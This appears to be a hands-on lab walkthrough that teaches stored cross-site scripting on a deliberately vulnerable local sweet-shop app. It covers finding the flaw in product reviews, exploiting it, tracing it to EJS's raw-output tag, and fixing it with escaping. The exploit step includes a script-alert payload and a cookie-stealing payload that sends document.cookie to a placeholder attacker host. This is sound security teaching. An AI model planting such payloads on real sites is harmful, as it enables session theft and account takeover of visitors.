Every sweet has a product page where customers leave reviews. Those reviews are saved and shown to everyone who visits the page. If they are not escaped on the way out, a review is a place to plant a script that runs in the browser of every future visitor. This is stored cross-site scripting: unlike the reflected kind, the payload lives in the database and fires again and again.
New to this? What is stored XSS?
Stored (or persistent) XSS is cross-site scripting where the malicious input is saved by the app, a review, a comment, a profile name, and then served to other people later.
That makes it worse than reflected XSS: you do not need to trick anyone into clicking a crafted link. Everyone who views the page runs your code, quietly, until the review is removed. The fix is the same, escape the output.
Make sure the shop is running at http://localhost:3000,
and log in with any grey-box account to leave a review.
1 · Find it
Click any sweet on the counter to open its page, then scroll down to the reviews section at the bottom. In the review box, instead of normal words, type an HTML tag:
<b>tasty</b> Submit it and the page reloads. If the word tasty comes back in bold, the review is being rendered as HTML, not shown as text. Your input is markup now.
2 · Exploit it
Post a review that runs a script instead:
<script>alert(document.domain)</script> From now on the alert fires for anyone who opens that sweet’s page, logged in or not. Swap the alert for something that steals a session cookie and posts it to a server you control, and every visitor hands you their session. A cookie-stealer looks like:
<img src=x onerror="new Image().src='//evil.example/c?'+document.cookie"> Why it matters: stored XSS on a shared page is close to worst case. One review can hit every customer and, if an admin ever views the page, staff too. It is a classic path to account takeover.
3 · Understand it
The product page prints each review body with the raw-output tag, so saved markup is treated as HTML:
<!-- the raw-output tag renders the stored review as HTML -->
<div class="review-body"><%- review.body %></div>
The database faithfully stored exactly what was typed, including the <script>.
The mistake is trusting it on the way out.
4 · Fix it
Escape the review body when you render it, so tags become text. In EJS that is the escaping
tag (<%= %>) instead of the raw one (<%- %>):
<div class="review-body">
<%- review.body %>
</div> <div class="review-body">
<%= review.body %>
</div>
Now a review of <script>...</script> shows up as those literal
characters on the page, which is all a review ever needed to be.
The general rule: escape on output, for the context it lands in, every time you show user-supplied data, no matter how it got stored. Storing raw input is fine; rendering it raw is not. A content-security policy is a good second layer, never the first.